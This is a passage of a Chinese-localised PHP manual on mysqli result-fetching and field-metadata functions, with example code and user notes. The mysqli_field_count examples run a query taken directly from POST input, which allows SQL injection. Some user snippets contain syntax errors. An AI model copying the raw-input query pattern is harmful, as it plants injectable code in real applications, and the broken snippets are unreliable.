#4 c:\PHP\includes\simpletest\runner.php(125): SimpleInvokerDecorator->invoke('testGetVal')
#5 c:\PHP\includes\simpletest\runner.php(183): SimpleErrorTrappingInvoker->invoke('testGetVal')
#6 c:\PHP\includes\simpletest\simple_test.php(90): SimpleRunner->run()
#7 c:\PHP\includes\simpletest\simple_test.php(498): SimpleTestCase->run(Object(HtmlReporter))
#8 c:\PHP\includes\simpletest\simple_test.php(500): GroupTest->run(Object(HtmlReporter))
#9 G:\all_tests.php(16): GroupTest->run(Object(HtmlReporter))

This will actually print out the error, a stack trace and the offending sql statement. Much more helpful when the sql statement is generated somewhere else in the code.
information at saunderswebsolutions dot com
13-Jan-2006 06:52
Hi, you can also use the new mysqli_sql_exception to catch sql errors.
Example:
<?php
//set up $mysqli_instance here..
$Select = "SELECT xyz FROM mytable ";
try {
   $res = $mysqli_instance->query($Select);
}catch (mysqli_sql_exception $e) {
   print "Error Code <br>".$e->getCode();
   print "Error Message <br>".$e->getMessage();
   print "Strack Trace <br>".nl2br($e->getTraceAsString());
}

?>
Will print out something like
Error Code: 0
Error Message
No index used in query/prepared statement select sess_value from frame_sessions where sess_name = '5b85upjqkitjsostvs6g9rkul1'
Strack Trace:
#0 G:\classfiles\lib5\database.php(214): mysqli->query('select sess_val...')
#1 G:\classfiles\lib5\Session.php(52): database->getString('select sess_val...')
#2 [internal function]: sess_read('5b85upjqkitjsos...')
#3 G:\classfiles\includes.php(50): session_start()
#4 G:\tests\all_tests.php(4): include('G:\data\WorkSit...')
#5 {main}
paul ate santasoft doit com
29-Jul-2005 09:50
When migrating to PHP 5 from PHP 4, an important sticky note on the brain:

PHP 4 would default to the current connection (last opened connection) with mysql_error().  PHP 5 & mysqli, on the other hand, requires the link to be specified as in mysqli_error($link).

So if you are migrating and get a blank screen and don't know why, check your mysqli_* statements to ensure they include the $link if needed.

examples:

PHP 4:
<?php
  $link = mysql_connect('localhost',''uid','pw');
  $sql = 'some bad query';
  $result = mysql_query($sql);
  if (!mysql_num_rows($result)) {
     echo(mysql_error());
   } else {
     echo('It Worked!!!!!!');
  }
?>

PHP 5:
<?php
  $link = mysqli_connect('localhost',''uid','pw');
  $sql = 'some bad query';
  $result = mysqli_query($link,$sql);  // remember to include the link on queries too
  if (!mysqli_num_rows($result)) {
     echo(mysqli_error($link));  // aha!
   } else {
     echo('It Worked!!!!!!');
  }
?>
add a note add a note

后退 | 起点 | 前进
mysqli_errno | 上一级 | mysqli_escape_string


mysqli_escape_string

(PHP 5)

mysqli_escape_string -- Alias of mysqli_real_escape_string()

Description

This function is an alias of mysqli_real_escape_string().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_error | 上一级 | mysqli_execute


mysqli_execute

(PHP 5)

mysqli_execute -- Alias for mysqli_stmt_execute()

Description

This function is an alias of mysqli_stmt_execute(). For a detailled descripton see description of mysqli_stmt_execute().

注: mysqli_execute() is deprecated and will be removed.

参见

mysqli_stmt_execute().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_escape_string | 上一级 | mysqli_fetch_array


mysqli_fetch_array

(PHP 5)

mysqli_fetch_array

(no version information, might be only in CVS)

result->fetch_array -- Fetch a result row as an associative, a numeric array, or both

Description

Procedural style:

mixed mysqli_fetch_array ( mysqli_result result [, int resulttype] )

Object oriented style (method):

class mysqli_result {

mixed fetch_array ( [int resulttype] )

}

Returns an array that corresponds to the fetched row or NULL if there are no more rows for the resultset represented by the result parameter.

mysqli_fetch_array() is an extended version of the mysqli_fetch_row() function. In addition to storing the data in the numeric indices of the result array, the mysqli_fetch_array() function can also store the data in associative indices, using the field names of the result set as keys.

注: 本函数返回的字段名是区分大小写的。

注: 本函数对 PHP NULL 值设定 NULL 字段。

If two or more columns of the result have the same field names, the last column will take precedence and overwrite the earlier data. In order to access multiple columns with the same name, the numerically indexed version of the row must be used.

The optional second argument resulttype is a constant indicating what type of array should be produced from the current row data. The possible values for this parameter are the constants MYSQLI_ASSOC, MYSQLI_NUM, or MYSQLI_BOTH. By default the mysqli_fetch_array() function will assume MYSQLI_BOTH for this parameter.

By using the MYSQLI_ASSOC constant this function will behave identically to the mysqli_fetch_assoc(), while MYSQLI_NUM will behave identically to the mysqli_fetch_row() function. The final option MYSQLI_BOTH will create a single array with the attributes of both.

返回值

Returns an array that corresponds to the fetched row or NULL if there are no more rows in resultset.

参见

mysqli_fetch_assoc(),
mysqli_fetch_row(),
mysqli_fetch_object(),
mysqli_query() 和
mysqli_data_seek().

范例

例子 1. Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER by ID LIMIT 3";
$result = $mysqli->query($query);

/* numeric array */
$row = $result->fetch_array(MYSQLI_NUM);
printf ("%s (%s)\n", $row[0], $row[1]);

/* associative array */
$row = $result->fetch_array(MYSQLI_ASSOC);
printf ("%s (%s)\n", $row["Name"], $row["CountryCode"]);

/* associative and numeric array */
$row = $result->fetch_array(MYSQLI_BOTH);
printf ("%s (%s)\n", $row[0], $row["CountryCode"]);

/* free result set */
$result->close();

/* close connection */
$mysqli->close();
?>

例子 2. Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER by ID LIMIT 3";
$result = mysqli_query($link, $query);

/* numeric array */
$row = mysqli_fetch_array($result, MYSQLI_NUM);
printf ("%s (%s)\n", $row[0], $row[1]);

/* associative array */
$row = mysqli_fetch_array($result, MYSQLI_ASSOC);
printf ("%s (%s)\n", $row["Name"], $row["CountryCode"]);

/* associative and numeric array */
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
printf ("%s (%s)\n", $row[0], $row["CountryCode"]);

/* free result set */
mysqli_free_result($result);

/* close connection */
mysqli_close($link);
?>

上例将输出：

Kabul (AFG)
Qandahar (AFG)
Herat (AFG)

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_execute | 上一级 | mysqli_fetch_assoc


mysqli_fetch_assoc

(PHP 5)

mysqli_fetch_assoc

(no version information, might be only in CVS)

mysqli->fetch_assoc -- Fetch a result row as an associative array

Description

Procedural style:

array mysqli_fetch_assoc ( mysqli_result result )

Object oriented style (method):

class mysqli_result {

array fetch_assoc ( void )

}

Returns an associative array that corresponds to the fetched row or NULL if there are no more rows.

The mysqli_fetch_assoc() function is used to return an associative array representing the next row in the result set for the result represented by the result parameter, where each key in the array represents the name of one of the result set's columns.

If two or more columns of the result have the same field names, the last column will take precedence. To access the other column(s) of the same name, you either need to access the result with numeric indices by using mysqli_fetch_row() or add alias names.

注: 本函数返回的字段名是区分大小写的。

注: 本函数对 PHP NULL 值设定 NULL 字段。

返回值

Returns an array that corresponds to the fetched row or NULL if there are no more rows in resultset.

参见

mysqli_fetch_array(),
mysqli_fetch_row(),
mysqli_fetch_object(),
mysqli_query() 和
mysqli_data_seek().

范例

例子 1. Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER by ID DESC LIMIT 50,5";

if ($result = $mysqli->query($query)) {

    /* fetch associative array */
    while ($row = $result->fetch_assoc()) {
        printf ("%s (%s)\n", $row["Name"], $row["CountryCode"]);
    }

    /* free result set */
    $result->close();
}

/* close connection */
$mysqli->close();
?>

例子 2. Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER by ID DESC LIMIT 50,5";

if ($result = mysqli_query($link, $query)) {

    /* fetch associative array */
    while ($row = mysqli_fetch_assoc($result)) {
        printf ("%s (%s)\n", $row["Name"], $row["CountryCode"]);
    }

    /* free result set */
    mysqli_free_result($result);
}

/* close connection */
mysqli_close($link);
?>

上例将输出：

Pueblo (USA)
Arvada (USA)
Cape Coral (USA)
Green Bay (USA)
Santa Clara (USA)

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_fetch_array | 上一级 | mysqli_fetch_field_direct


mysqli_fetch_field_direct

(PHP 5)

mysqli_fetch_field_direct

(no version information, might be only in CVS)

result->fetch_field_direct -- Fetch meta-data for a single field

Description

Procedural style:

object mysqli_fetch_field_direct ( mysqli_result result, int fieldnr )

Object oriented style (method):

class mysqli_result {

object fetch_field_direct ( int fieldnr )

}

mysqli_fetch_field_direct() returns an object which contains field definition informations from specified resultset. The value of fieldnr must be in the range from 0 to number of fields - 1.

返回值

Returns an object which contains field definition information or FALSE if no field information for specified fieldnr is available.

表格 1. Object attributes

Attribute | Description
name | The name of the column
orgname | Original column name if an alias was specified
table | The name of the table this field belongs to (if not calculated)
orgtable | Original table name if an alias was specified
def | The default value for this field, represented as a string
max_length | The maximum width of the field for the result set.
flags | An integer representing the bit-flags for the field.
type | The data type used for this field
decimals | The number of decimals used (for integer fields)

参见

mysqli_num_fields(),
mysqli_fetch_field() 和
mysqli_fetch_fields().

范例

例子 1. Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, SurfaceArea from Country ORDER BY Name LIMIT 5";

if ($result = $mysqli->query($query)) {

    /* Get field information for column 'SurfaceArea' */
    $finfo = $result->fetch_field_direct(1);

    printf("Name:     %s\n", $finfo->name);
    printf("Table:    %s\n", $finfo->table);
    printf("max. Len: %d\n", $finfo->max_length);
    printf("Flags:    %d\n", $finfo->flags);
    printf("Type:     %d\n", $finfo->type);

    $result->close();
}

/* close connection */
$mysqli->close();
?>

例子 2. Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, SurfaceArea from Country ORDER BY Name LIMIT 5";

if ($result = mysqli_query($link, $query)) {

    /* Get field information for column 'SurfaceArea' */
    $finfo = mysqli_fetch_field_direct($result, 1);

    printf("Name:     %s\n", $finfo->name);
    printf("Table:    %s\n", $finfo->table);
    printf("max. Len: %d\n", $finfo->max_length);
    printf("Flags:    %d\n", $finfo->flags);
    printf("Type:     %d\n", $finfo->type);

    mysqli_free_result($result);
}

/* close connection */
mysqli_close($link);
?>

上例将输出：

Name:     SurfaceArea
Table:    Country
max. Len: 10
Flags:    32769
Type:     4

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_fetch_assoc | 上一级 | mysqli_fetch_field


mysqli_fetch_field

(PHP 5)

mysqli_fetch_field

(no version information, might be only in CVS)

result->fetch_field -- Returns the next field in the result set

Description

Procedural style:

object mysqli_fetch_field ( mysqli_result result )

Object oriented style (method):

class mysqli_result {

object fetch_field ( void )

}

The mysqli_fetch_field() returns the definition of one column of a result set as an object. Call this function repeatedly to retrieve information about all columns in the result set. mysqli_fetch_field() returns FALSE when no more fields are left.

返回值

Returns an object which contains field definition information or FALSE if no field information is available.

表格 1. Object properties

Property | Description
name | The name of the column
orgname | Original column name if an alias was specified
table | The name of the table this field belongs to (if not calculated)
orgtable | Original table name if an alias was specified
def | The default value for this field, represented as a string
max_length | The maximum width of the field for the result set.
flags | An integer representing the bit-flags for the field.
type | The data type used for this field
decimals | The number of decimals used (for integer fields)

参见

mysqli_num_fields(),
mysqli_fetch_field_direct(),
mysqli_fetch_fields() 和
mysqli_field_seek().

范例

例子 1. Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, SurfaceArea from Country ORDER BY Code LIMIT 5";

if ($result = $mysqli->query($query)) {

    /* Get field information for all columns */
    while ($finfo = $result->fetch_field()) {

        printf("Name:     %s\n", $finfo->name);
        printf("Table:    %s\n", $finfo->table);
        printf("max. Len: %d\n", $finfo->max_length);
        printf("Flags:    %d\n", $finfo->flags);
        printf("Type:     %d\n\n", $finfo->type);
    }
    $result->close();
}

/* close connection */
$mysqli->close();
?>

例子 2. Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, SurfaceArea from Country ORDER BY Code LIMIT 5";

if ($result = mysqli_query($link, $query)) {

    /* Get field information for all fields */
    while ($finfo = mysqli_fetch_field($result)) {

        printf("Name:     %s\n", $finfo->name);
        printf("Table:    %s\n", $finfo->table);
        printf("max. Len: %d\n", $finfo->max_length);
        printf("Flags:    %d\n", $finfo->flags);
        printf("Type:     %d\n\n", $finfo->type);
    }
    mysqli_free_result($result);
}

/* close connection */
mysqli_close($link);
?>

上例将输出：

Name:     Name
Table:    Country
max. Len: 11
Flags:    1
Type:     254

Name:     SurfaceArea
Table:    Country
max. Len: 10
Flags:    32769
Type:     4

add a note add a note User Contributed Notes
jakerosoft at hotmail dot com
17-Aug-2005 12:15
<?
$fieldinfo = $result->fetch_field();
if ($fieldinfo & MYSQLI_NOT_NULL_FLAG)  {
  print "not null flag is set";
} else {
  print "not null flag is NOT set";
}
?>
Marc-Andr
08-Jul-2005 06:56
The "type" property will return a numerical representation of a field type instead of a "meaningful" string.

Here is an array that may help you:

<?php
$mysqli_type = array();
$mysqli_type[0] = "decimal";
$mysqli_type[1] = "tinyint";
$mysqli_type[2] = "smallint";
$mysqli_type[3] = "int";
$mysqli_type[4] = "float";
$mysqli_type[5] = "double";
$mysqli_type[7] = "timestamp";
$mysqli_type[8] = "bigint";
$mysqli_type[9] = "mediumint";
$mysqli_type[10] = "date";
$mysqli_type[11] = "time";
$mysqli_type[12] = "datetime";
$mysqli_type[13] = "year";
$mysqli_type[252] = "blob"; // text, blob, tinyblob,mediumblob, etc...
$mysqli_type[253] = "string"; // varchar and char
$mysqli_type[254] = "enum";
?>
add a note add a note

后退 | 起点 | 前进
mysqli_fetch_field_direct | 上一级 | mysqli_fetch_fields


mysqli_fetch_fields

(PHP 5)

mysqli_fetch_fields

(no version information, might be only in CVS)

result->fetch_fields -- Returns an array of objects representing the fields in a result set

Description

Procedural Style:

array mysqli_fetch_fields ( mysqli_result result )

Object oriented style (method):

class mysqli_result {

array fetch_fields ( void )

}

This function serves an identical purpose to the mysqli_fetch_field() function with the single difference that, instead of returning one object at a time for each field, the columns are returned as an array of objects.

返回值

Returns an array of objects which contains field definition information or FALSE if no field information is available.

表格 1. Object properties

Property | Description
name | The name of the column
orgname | Original column name if an alias was specified
table | The name of the table this field belongs to (if not calculated)
orgtable | Original table name if an alias was specified
def | The default value for this field, represented as a string
max_length | The maximum width of the field for the result set.
flags | An integer representing the bit-flags for the field.
type | The data type used for this field
decimals | The number of decimals used (for integer fields)

参见

mysqli_num_fields(),
mysqli_fetch_field() 和
mysqli_fetch_field_direct().

范例

例子 1. Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, SurfaceArea from Country ORDER BY Code LIMIT 5";

if ($result = $mysqli->query($query)) {

    /* Get field information for all columns */
    $finfo = $result->fetch_fields();

    foreach ($finfo as $val) {
        printf("Name:     %s\n", $val->name);
        printf("Table:    %s\n", $val->table);
        printf("max. Len: %d\n", $val->max_length);
        printf("Flags:    %d\n", $val->flags);
        printf("Type:     %d\n\n", $val->type);
    }
    $result->close();
}

/* close connection */
$mysqli->close();
?>

例子 2. Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, SurfaceArea from Country ORDER BY Code LIMIT 5";

if ($result = mysqli_query($link, $query)) {

    /* Get field information for all columns */
    $finfo = mysqli_fetch_fields($result);

    foreach ($finfo as $val) {
        printf("Name:     %s\n", $val->name);
        printf("Table:    %s\n", $val->table);
        printf("max. Len: %d\n", $val->max_length);
        printf("Flags:    %d\n", $val->flags);
        printf("Type:     %d\n\n", $val->type);
    }
    mysqli_free_result($result);
}

/* close connection */
mysqli_close($link);
?>

上例将输出：

Name:     Name
Table:    Country
max. Len: 11
Flags:    1
Type:     254

Name:     SurfaceArea
Table:    Country
max. Len: 10
Flags:    32769
Type:     4

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_fetch_field | 上一级 | mysqli_fetch_lengths


mysqli_fetch_lengths

(PHP 5)

mysqli_fetch_lengths

(no version information, might be only in CVS)

result->lengths -- Returns the lengths of the columns of the current row in the result set

Description

Procedural style:

array mysqli_fetch_lengths ( mysqli_result result )

Object oriented style (property):

class mysqli_result {

array lengths

}

The mysqli_fetch_lengths() function returns an array containing the lengths of every column of the current row within the result set represented by the result parameter. If successful, a numerically indexed array representing the lengths of each column is returned or FALSE on failure.

返回值

An array of integers representing the size of each column (not including any terminating null characters). FALSE if an error occurred.

mysqli_fetch_lengths() is valid only for the current row of the result set. It returns FALSE if you call it before calling mysqli_fetch_row/array/object or after retrieving all rows in the result.

范例

例子 1. Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT * from Country ORDER BY Code LIMIT 1";

if ($result = $mysqli->query($query)) {

    $row = $result->fetch_row();

    /* display column lengths */
    foreach ($result->lengths as $i => $val) {
        printf("Field %2d has Length %2d\n", $i+1, $val);
    }
    $result->close();
}

/* close connection */
$mysqli->close();
?>

例子 2. Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT * from Country ORDER BY Code LIMIT 1";

if ($result = mysqli_query($link, $query)) {

    $row = mysqli_fetch_row($result);

    /* display column lengths */
    foreach (mysqli_fetch_lengths($result) as $i => $val) {
        printf("Field %2d has Length %2d\n", $i+1, $val);
    }
    mysqli_free_result($result);
}

/* close connection */
mysqli_close($link);
?>

上例将输出：

Field  1 has Length  3
Field  2 has Length  5
Field  3 has Length 13
Field  4 has Length  9
Field  5 has Length  6
Field  6 has Length  1
Field  7 has Length  6
Field  8 has Length  4
Field  9 has Length  6
Field 10 has Length  6
Field 11 has Length  5
Field 12 has Length 44
Field 13 has Length  7
Field 14 has Length  3
Field 15 has Length  2

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_fetch_fields | 上一级 | mysqli_fetch_object


mysqli_fetch_object

(PHP 5)

mysqli_fetch_object

(no version information, might be only in CVS)

result->fetch_object -- Returns the current row of a result set as an object

Description

Procedural style:

mixed mysqli_fetch_object ( mysqli_result result )

Object oriented style (method):

class mysqli_result {

mixed fetch_object ( void )

}

The mysqli_fetch_object() will return the current row result set as an object where the attributes of the object represent the names of the fields found within the result set. If no more rows exist in the current result set, NULL is returned.

返回值

Returns an object that corresponds to the fetched row or NULL if there are no more rows in resultset.

注: 本函数返回的字段名是区分大小写的。

注: 本函数对 PHP NULL 值设定 NULL 字段。

参见

mysqli_fetch_array(),
mysqli_fetch_assoc(),
mysqli_fetch_row(),
mysqli_query() 和
mysqli_data_seek().

范例

例子 1. Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER by ID DESC LIMIT 50,5";

if ($result = $mysqli->query($query)) {

    /* fetch object array */
    while ($obj = $result->fetch_object()) {
        printf ("%s (%s)\n", $obj->Name, $obj->CountryCode);
    }

    /* free result set */
    $result->close();
}

/* close connection */
$mysqli->close();
?>

例子 2. Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER by ID DESC LIMIT 50,5";

if ($result = mysqli_query($link, $query)) {

    /* fetch associative array */
    while ($obj = mysqli_fetch_object($result)) {
        printf ("%s (%s)\n", $obj->Name, $obj->CountryCode);
    }

    /* free result set */
    mysqli_free_result($result);
}

/* close connection */
mysqli_close($link);
?>

上例将输出：

Pueblo (USA)
Arvada (USA)
Cape Coral (USA)
Green Bay (USA)
Santa Clara (USA)

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_fetch_lengths | 上一级 | mysqli_fetch_row


mysqli_fetch_row

(PHP 5)

mysqli_fetch_row

(no version information, might be only in CVS)

result->fetch_row -- Get a result row as an enumerated array

Description

Procedural style:

mixed mysqli_fetch_row ( mysqli_result result )

Object oriented style (method):

class mysqli_result {

mixed fetch_row ( void )

}

Returns an array that corresponds to the fetched row, or NULL if there are no more rows.

mysqli_fetch_row() fetches one row of data from the result set represented by result and returns it as an enumerated array, where each column is stored in an array offset starting from 0 (zero). Each subsequent call to the mysqli_fetch_row() function will return the next row within the result set, or FALSE if there are no more rows.

返回值

mysqli_fetch_row() returns an array that corresponds to the fetched row or NULL if there are no more rows in result set.

注: 本函数对 PHP NULL 值设定 NULL 字段。

参见

mysqli_fetch_array(),
mysqli_fetch_assoc(),
mysqli_fetch_object(),
mysqli_query() 和
mysqli_data_seek().

范例

例子 1. Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER by ID DESC LIMIT 50,5";

if ($result = $mysqli->query($query)) {

    /* fetch object array */
    while ($row = $result->fetch_row()) {
        printf ("%s (%s)\n", $row[0], $row[1]);
    }

    /* free result set */
    $result->close();
}

/* close connection */
$mysqli->close();
?>

例子 2. Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER by ID DESC LIMIT 50,5";

if ($result = mysqli_query($link, $query)) {

    /* fetch associative array */
    while ($row = mysqli_fetch_row($result)) {
        printf ("%s (%s)\n", $row[0], $row[1]);
    }

    /* free result set */
    mysqli_free_result($result);
}

/* close connection */
mysqli_close($link);
?>

上例将输出：

Pueblo (USA)
Arvada (USA)
Cape Coral (USA)
Green Bay (USA)
Santa Clara (USA)

add a note add a note User Contributed Notes
roberto at spadim dot com dot br
04-Dec-2004 09:38
function mysqli_result($recordset,$row,$field){
   mysqli_data_seek($recordset,$row);
   if (is_string($field))
       $tmp=mysqli_fetch_array($recordset,MYSQLI_BOTH);
   else
       $tmp=mysqli_fetch_array($recordset,MYSQLI_NUM);
   $tmp=$tmp[$field];
   return($tmp);
}
}
maillist at pnpitalia.it
07-Jan-2004 02:01
from "README.PHP4-TO-PHP5-THIN-CHANGES"

4. Be careful when porting from ext/mysql to ext/mysqli. The following
   functions return NULL when no more data is available in the result set
   (ext/mysql's functions return FALSE).

   - mysqli_fetch_row()
   - mysqli_fetch_array()
   - mysqli_fetch_assoc()
add a note add a note

后退 | 起点 | 前进
mysqli_fetch_object | 上一级 | mysqli_fetch


mysqli_fetch

(PHP 5)

mysqli_fetch -- Alias for mysqli_stmt_fetch()

Description

This function is an alias of mysqli_stmt_fetch(). For a detailled descripton see description of mysqli_stmt_fetch().

注: mysqli_fetch() is deprecated and will be removed.

参见

mysqli_stmt_fetch().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_fetch_row | 上一级 | mysqli_field_count


mysqli_field_count

(PHP 5)

mysqli_field_count

(no version information, might be only in CVS)

mysqli->field_count -- Returns the number of columns for the most recent query

Description

Procedural style:

int mysqli_field_count ( mysqli link )

Object oriented style (method):

class mysqli_result {

int field_count ( void )

}

Returns the number of columns for the most recent query on the connection represented by the link parameter. This function can be useful when using the mysqli_store_result() function to determine if the query should have produced a non-empty result set or not without knowing the nature of the query.

返回值

An integer representing the number of fields in a result set

范例

例子 1. Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "test");

$mysqli->query( "DROP TABLE IF EXISTS friends");
$mysqli->query( "CREATE TABLE friends (id int, name varchar(20))");

$mysqli->query( "INSERT INTO friends VALUES (1,'Hartmut'), (2, 'Ulf')");

$mysqli->real_query($HTTP_POST_VARS['query']);

if (mysqli_field_count($link)) {
    /* this was a select/show or describe query */
    $result = $mysqli->store_result();

    /* process resultset */
    $row = $result->fetch_row();

    /* free resultset */
    $result->close();
}

/* close connection */
$mysqli->close();
?>

例子 2. Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "test");

mysqli_query($link, "DROP TABLE IF EXISTS friends");
mysqli_query($link, "CREATE TABLE friends (id int, name varchar(20))");

mysqli_query($link, "INSERT INTO friends VALUES (1,'Hartmut'), (2, 'Ulf')");

mysqli_real_query($link, $HTTP_POST_VARS['query']);

if (mysqli_field_count($link)) {
    /* this was a select/show or describe query */
    $result = mysqli_store_result($link);

    /* process resultset */
    $row = mysqli_fetch_row($result);

    /* free resultset */
    mysqli_free_result($result);
}

/* close connection */
mysqli_close($link);
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_fetch | 上一级 | mysqli_field_seek


mysqli_field_seek

(PHP 5)

mysqli_field_seek

(no version information, might be only in CVS)

result->field_seek -- Set result pointer to a specified field offset

Description

Procedural style:

bool mysqli_field_seek ( mysqli_result result, int fieldnr )

Object oriented style (method):

class mysqli_result {

bool field_seek ( int fieldnr )

}

Sets the field cursor to the given offset. The next call to mysqli_fetch_field() will retrieve the field definition of the column associated with that offset.

注: To seek to the beginning of a row, pass an offset value of zero.

返回值

mysqli_field_seek() returns previuos value of field cursor.

参见

mysqli_fetch_field().

范例

例子 1. Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, SurfaceArea from Country ORDER BY Code LIMIT 5";

if ($result = $mysqli->query($query)) {

    /* Get field information for 2nd column */
    $result->field_seek(1);
    $finfo = $result->fetch_field();

    printf("Name:     %s\n", $finfo->name);
    printf("Table:    %s\n", $finfo->table);
    printf("max. Len: %d\n", $finfo->max_length);
    printf("Flags:    %d\n", $finfo->flags);
    printf("Type:     %d\n\n", $finfo->type);

    $result->close();
}

/* close connection */
$mysqli->close();
?>

例子 2. Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, SurfaceArea from Country ORDER BY Code LIMIT 5";

if ($result = mysqli_query($link, $query)) {

    /* Get field information for 2nd column */
    mysqli_field_seek($result, 1);
    $finfo = mysqli_fetch_field($result);

    printf("Name:     %s\n", $finfo->name);
    printf("Table:    %s\n", $finfo->table);
    printf("max. Len: %d\n", $finfo->max_length);
    printf("Flags:    %d\n", $finfo->flags);
    printf("Type:     %d\n\n", $finfo->type);

    mysqli_free_result($result);
}

/* close connection */
mysqli_close($link);
?>

上例将输出：

Name:     SurfaceArea
Table:    Country
max. Len: 10
Flags:    32769
Type:     4

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_field_count | 上一级 | mysqli_field_tell


mysqli_field_tell

(PHP 5)

mysqli_field_tell

(no version information, might be only in CVS)

result->current_field -- Get current field offset of a result pointer

Description

Procedural style:

int mysqli_field_tell ( mysqli_result result )

Object oriented style (property):

class mysqli_result {

int current_field

}

Returns the position of the field cursor used for the last mysqli_fetch_field() call. This value can be used as an argument to mysqli_field_seek().

返回值

Returns current offset of field cursor.

参见

mysqli_fetch_field() 和 mysqli_field_seek().

范例

例子 1. Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, SurfaceArea from Country ORDER BY Code LIMIT 5";

if ($result = $mysqli->query($query)) {

    /* Get field information for all columns */
    while ($finfo = $result->fetch_field()) {

        /* get fieldpointer offset */
        $currentfield = $result->current_field;

        printf("Column %d:\n", $currentfield);
        printf("Name:     %s\n", $finfo->name);
        printf("Table:    %s\n", $finfo->table);
        printf("max. Len: %d\n", $finfo->max_length);
        printf("Flags:    %d\n", $finfo->flags);
        printf("Type:     %d\n\n", $finfo->type);
    }
    $result->close();
}

/* close connection */
$mysqli->close();
?>

例子 2. Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, SurfaceArea from Country ORDER BY Code LIMIT 5";

if ($result = mysqli_query($link, $query)) {

